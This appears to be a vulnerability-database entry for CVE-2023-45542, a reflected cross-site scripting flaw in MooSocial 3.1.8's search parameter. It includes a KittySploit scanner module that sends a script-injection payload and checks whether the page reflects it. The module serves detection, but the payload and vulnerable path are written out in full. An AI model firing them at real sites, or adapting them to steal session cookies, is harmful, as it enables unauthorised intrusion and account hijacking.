Lucene search
+L

MooSocial 3.1.8 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Reflected XSS in MooSocial search function q parameter allows stealing session cookies.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Moosocial
26 Sep 202312:59
–githubexploit
attackerkb
attackerkb
CVE-2023-45542
16 Oct 202321:15
–attackerkb
circl
Circl
CVE-2023-45542
17 Oct 202300:32
–circl
cnnvd
CNNVD
mooSocial 跨站脚本漏洞
16 Oct 202300:00
–cnnvd
cnvd
CNVD
mooSocial Cross-Site Scripting Vulnerability
19 Oct 202300:00
–cnvd
cve
CVE
CVE-2023-45542
16 Oct 202300:00
–cve
cvelist
Cvelist
CVE-2023-45542
16 Oct 202300:00
–cvelist
kitploit
Kitploit
CVE-2023-45542
12 Oct 202623:26
–kitploit
nuclei
Nuclei
MooSocial 3.1.8 - Cross-Site Scripting
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2023-45542
16 Oct 202321:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocia."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'MooSocial 3.1.8 - Cross-Site Scripting Detection',
        'description': "A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'xss', 'moosocial', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/ahrixia/CVE-2023-45542',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-45542',
            'https://github.com/nomi-sec/PoC-in-GitHub',
        ],
        'cve': 'CVE-2023-45542',
    }

    def run(self):
        r = self.http_request(method="GET", path='/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('text/html',)
        body_all = ('<script>alert(document.domain)</script>', 'mooSocial',)
        if (any(m in body for m in body_any)) and (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="MooSocial 3.1.8 - Cross-Site Scripting detected",
                path='/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 3.16.1
EPSS0.01621
SSVC
2